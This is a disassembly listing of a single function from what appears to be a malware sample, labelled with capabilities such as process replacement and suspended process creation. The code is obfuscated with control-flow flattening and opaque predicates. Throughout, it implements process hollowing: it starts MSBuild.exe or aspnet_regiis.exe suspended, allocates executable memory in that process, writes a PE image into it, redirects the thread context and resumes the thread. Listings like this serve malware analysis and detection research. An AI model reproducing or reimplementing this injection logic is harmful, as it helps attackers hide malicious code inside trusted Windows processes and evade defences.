Function at 0x10002960
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x10065000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x110], 0x93266cae
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x808da851
je 0x100047e3
jmp 0x1000299c
mov eax, dword [ebp - 0x114]
sub eax, 0x86cec3e5
je 0x100045bf
jmp 0x100029b2
mov eax, dword [ebp - 0x114]
sub eax, 0x878363e0
je 0x10003f48
jmp 0x100029c8
mov eax, dword [ebp - 0x114]
sub eax, 0x8d271c3e
je 0x10004275
jmp 0x100029de
mov eax, dword [ebp - 0x114]
sub eax, 0x8f26ecf4
je 0x100041e0
jmp 0x100029f4
mov eax, dword [ebp - 0x114]
sub eax, 0x9071f0d5
je 0x10004747
jmp 0x10002a0a
mov eax, dword [ebp - 0x114]
sub eax, 0x91ebfec7
je 0x100037e5
jmp 0x10002a20
mov eax, dword [ebp - 0x114]
sub eax, 0x9310dc6e
je 0x10003d09
jmp 0x10002a36
mov eax, dword [ebp - 0x114]
sub eax, 0x93266cae
je 0x1000327b
jmp 0x10002a4c
mov eax, dword [ebp - 0x114]
sub eax, 0x95d523cc
je 0x10004054
jmp 0x10002a62
mov eax, dword [ebp - 0x114]
sub eax, 0x982375de
je 0x10004377
jmp 0x10002a78
mov eax, dword [ebp - 0x114]
sub eax, 0x997ad0fe
je 0x10004c8b
jmp 0x10002a8e
mov eax, dword [ebp - 0x114]
sub eax, 0xa30652ef
je 0x100034b0
jmp 0x10002aa4
mov eax, dword [ebp - 0x114]
sub eax, 0xa4877fe6
je 0x10004e93
jmp 0x10002aba
mov eax, dword [ebp - 0x114]
sub eax, 0xa75509a9
je 0x1000498d
jmp 0x10002ad0
mov eax, dword [ebp - 0x114]
sub eax, 0xab00f281
je 0x10004437
jmp 0x10002ae6
mov eax, dword [ebp - 0x114]
sub eax, 0xb02b284f
je 0x10004e75
jmp 0x10002afc
mov eax, dword [ebp - 0x114]
sub eax, 0xb0effb84
je 0x10003fa6
jmp 0x10002b12
mov eax, dword [ebp - 0x114]
sub eax, 0xb1a53805
je 0x1000367c
jmp 0x10002b28
mov eax, dword [ebp - 0x114]
sub eax, 0xb2a30679
je 0x10004aac
jmp 0x10002b3e
mov eax, dword [ebp - 0x114]
sub eax, 0xb430b73b
je 0x10004e84
jmp 0x10002b54
mov eax, dword [ebp - 0x114]
sub eax, 0xb66a1222
je 0x1000403a
jmp 0x10002b6a
mov eax, dword [ebp - 0x114]
sub eax, 0xbac67efd
je 0x10004afd
jmp 0x10002b80
mov eax, dword [ebp - 0x114]
sub eax, 0xbebed815
je 0x100035fb
jmp 0x10002b96
mov eax, dword [ebp - 0x114]
sub eax, 0xbf3d0ca5
je 0x1000415d
jmp 0x10002bac
mov eax, dword [ebp - 0x114]
sub eax, 0xc3f7a224
je 0x10003630
jmp 0x10002bc2
mov eax, dword [ebp - 0x114]
sub eax, 0xc4f9a6af
je 0x100045ce
jmp 0x10002bd8
mov eax, dword [ebp - 0x114]
sub eax, 0xc629d676
je 0x10003f7b
jmp 0x10002bee
mov eax, dword [ebp - 0x114]
sub eax, 0xc9f791af
je 0x10004455
jmp 0x10002c04
mov eax, dword [ebp - 0x114]
sub eax, 0xcabe78a9
je 0x100034d6
jmp 0x10002c1a
mov eax, dword [ebp - 0x114]
sub eax, 0xcac168d5
je 0x10003b9e
jmp 0x10002c30
mov eax, dword [ebp - 0x114]
sub eax, 0xcb2c8e47
je 0x1000402b
jmp 0x10002c46
mov eax, dword [ebp - 0x114]
sub eax, 0xcbd7cfc4
je 0x10004a5b
jmp 0x10002c5c
mov eax, dword [ebp - 0x114]
sub eax, 0xcced01ee
je 0x1000385b
jmp 0x10002c72
mov eax, dword [ebp - 0x114]
sub eax, 0xcd501b48
je 0x10004b5d
jmp 0x10002c88
mov eax, dword [ebp - 0x114]
sub eax, 0xcf31978b
je 0x10003915
jmp 0x10002c9e
mov eax, dword [ebp - 0x114]
sub eax, 0xd16f0127
je 0x100035d7
jmp 0x10002cb4
mov eax, dword [ebp - 0x114]
sub eax, 0xd61df241
je 0x1000333d
jmp 0x10002cca
mov eax, dword [ebp - 0x114]
sub eax, 0xd80e264e
je 0x10004674
jmp 0x10002ce0
mov eax, dword [ebp - 0x114]
sub eax, 0xd82c7106
je 0x10004579
jmp 0x10002cf6
mov eax, dword [ebp - 0x114]
sub eax, 0xd945210f
je 0x10003ede
jmp 0x10002d0c
mov eax, dword [ebp - 0x114]
sub eax, 0xdbcfd15f
je 0x10004368
jmp 0x10002d22
mov eax, dword [ebp - 0x114]
sub eax, 0xde83da4f
je 0x10004b0c
jmp 0x10002d38
mov eax, dword [ebp - 0x114]
sub eax, 0xde9ed1d2
je 0x100045dd
jmp 0x10002d4e
mov eax, dword [ebp - 0x114]
sub eax, 0xdf779a7a
je 0x10003aab
jmp 0x10002d64
mov eax, dword [ebp - 0x114]
sub eax, 0xdf8799fe
je 0x10004756
jmp 0x10002d7a
mov eax, dword [ebp - 0x114]
sub eax, 0xe1af67ca
je 0x10004889
jmp 0x10002d90
mov eax, dword [ebp - 0x114]
sub eax, 0xe22739a8
je 0x10004bd3
jmp 0x10002da6
mov eax, dword [ebp - 0x114]
sub eax, 0xe39233b7
je 0x100046ed
jmp 0x10002dbc
mov eax, dword [ebp - 0x114]
sub eax, 0xe3e2dfac
je 0x10003cda
jmp 0x10002dd2
mov eax, dword [ebp - 0x114]
sub eax, 0xe90b5e70
je 0x1000351f
jmp 0x10002de8
mov eax, dword [ebp - 0x114]
sub eax, 0xf27dfcc2
je 0x1000418f
jmp 0x10002dfe
mov eax, dword [ebp - 0x114]
sub eax, 0xf2db3a27
je 0x100036f0
jmp 0x10002e14
mov eax, dword [ebp - 0x114]
sub eax, 0xf43c566e
je 0x100040b4
jmp 0x10002e2a
mov eax, dword [ebp - 0x114]
sub eax, 0xf9032586
je 0x100036c4
jmp 0x10002e40
mov eax, dword [ebp - 0x114]
sub eax, 0xfbba59f3
je 0x10004293
jmp 0x10002e56
mov eax, dword [ebp - 0x114]
sub eax, 0x16acb23
je 0x10004e46
jmp 0x10002e6c
mov eax, dword [ebp - 0x114]
sub eax, 0x1850491
je 0x10003efc
jmp 0x10002e82
mov eax, dword [ebp - 0x114]
sub eax, 0x58ef854
je 0x100036e1
jmp 0x10002e98
mov eax, dword [ebp - 0x114]
sub eax, 0xe016ad8
je 0x10004be5
jmp 0x10002eae
mov eax, dword [ebp - 0x114]
sub eax, 0xe1d5aa4
je 0x10003c5f
jmp 0x10002ec4
mov eax, dword [ebp - 0x114]
sub eax, 0xf87f5e3
je 0x100043c0
jmp 0x10002eda
mov eax, dword [ebp - 0x114]
sub eax, 0x1090bd9c
je 0x10004c2a
jmp 0x10002ef0
mov eax, dword [ebp - 0x114]
sub eax, 0x10bc0f09
je 0x10004dfb
jmp 0x10002f06
mov eax, dword [ebp - 0x114]
sub eax, 0x11d1fce8
je 0x10004cdc
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x100], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x110], 0xd61df241
jmp 0x10004e9d
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0xe59ba369
sub edx, 1
sub edx, 0xe59ba369
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe016ad8
mov ecx, 0x3f934b18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x110], 0xcabe78a9
jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1090bd9c
mov ecx, 0xe90b5e70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xb0]
sub ecx, 0xbb93b0be
add ecx, eax
add ecx, 0xbb93b0be
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0xc7191f94
sub edx, 1
sub edx, 0xc7191f94
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1090bd9c
mov ecx, 0x386c8636
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov edx, dword [ebp - 0xa8]
mov eax, 0xcbd7cfc4
mov ecx, 0xbebed815
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100062f0
add esp, 0xc
mov dword [ebp - 0x110], 0xc3f7a224
jmp 0x10004e9d
mov eax, dword [ebp - 0xfc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100062f0
add esp, 0xc
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x110], 0xb1a53805
jmp 0x10004e9d
mov eax, dword [ebp - 0xa4]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xf8]
mov byte [eax], cl
mov eax, dword [ebp - 0xf4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov dl, byte [eax]
mov eax, 0xf9032586
mov ecx, 0xf2db3a27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xf4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x58ef854
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xf2db3a27
jmp 0x10004e9d
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x9d], al
mov dword [ebp - 0x110], 0x6b193374
jmp 0x10004e9d
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x788b86e5
sub edx, 1
add edx, 0x788b86e5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4e3c1183
mov ecx, 0xcced01ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dl, byte [ebp - 0x9d]
mov eax, 0xa75509a9
mov ecx, 0x32a20077
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002230
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x110], 0x506db104
jmp 0x10004e9d
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x8582c6f7
sub edx, 1
sub edx, 0x8582c6f7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x997ad0fe
mov ecx, 0x5d1b21fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xec]
mov edx, dword [edx]
mov esi, dword [ebp - 0x100]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11d1fce8
mov ecx, 0xe1d5aa4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dword [ebp - 0x110], 0x22b3cbd7
jmp 0x10004e9d
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x110], 0x9310dc6e
jmp 0x10004e9d
mov edx, dword [ebp - 0x8c]
mov esi, dword [ebp - 0x88]
mov eax, 0xb66a1222
mov ecx, 0x15b35e5e
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dl, byte [ebp - 0x71]
mov eax, 0x36cc620c
mov ecx, 0x1850491
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x10
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x110], 0x878363e0
jmp 0x10004e9d
mov eax, dword [ebp - 0x68]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x6c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x70]
mov eax, 0x36cc620c
mov ecx, 0xc629d676
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x110], 0xb0effb84
jmp 0x10004e9d
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x64]
add ecx, eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd0]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x36cc620c
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xe3e2dfac
jmp 0x10004e9d
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x110], 0x95d523cc
jmp 0x10004e9d
mov edx, dword [ebp - 0x58]
mov eax, 0xdf8799fe
mov ecx, 0x52be5d8e
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dword [ebp - 0x110], 0x5797d951
jmp 0x10004e9d
mov eax, dword [ebp - 0x48]
mov edx, dword [eax + 0x34]
mov ecx, dword [ebp - 0x4c]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov dword [ebp - 0x110], 0xf27dfcc2
jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xff22b671
sub edx, 1
sub edx, 0xff22b671
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x10bc0f09
mov ecx, 0x8f26ecf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x41], al
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x10bc0f09
mov ecx, 0x661da277
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dl, byte [ebp - 0x41]
mov eax, 0x5650b055
mov ecx, 0xfbba59f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x51843a72
mov ecx, 0x257dd176
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dword [ebp - 0x110], 0x982375de
jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c84075a
mov ecx, 0xf87f5e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x35], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x1f2ff889
sub edx, 1
sub edx, 0x1f2ff889
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c84075a
mov ecx, 0xab00f281
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dl, byte [ebp - 0x35]
mov eax, 0xc4f9a6af
mov ecx, 0xc9f791af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x110], 0x5f5ac813
jmp 0x10004e9d
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x110], 0x86cec3e5
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xc4f9a6af
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xde9ed1d2
jmp 0x10004e9d
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x110], 0x663a51f5
jmp 0x10004e9d
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x16acb23
mov ecx, 0xe39233b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xf27dfcc2
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xdf8799fe
jmp 0x10004e9d
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xa4]
add ecx, 0x8c731f6b
add ecx, 8
sub ecx, 0x8c731f6b
mov edx, dword [ebp - 0x100]
mov edx, dword [edx]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x110], 0x808da851
jmp 0x10004e9d
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0xe5e9b1dc
add ecx, eax
add ecx, 0xe5e9b1dc
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x110], 0xe1af67ca
jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f967b36
mov ecx, 0x76e79ec2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb02b284f
mov ecx, 0x24417b3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0xa77dd90d
sub edx, 1
add edx, 0xa77dd90d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb430b73b
mov ecx, 0xb2a30679
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x6c051dd7
sub edx, 1
add edx, 0x6c051dd7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb430b73b
mov ecx, 0xbac67efd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10004e9d
mov dword [ebp - 0x110], 0xde83da4f
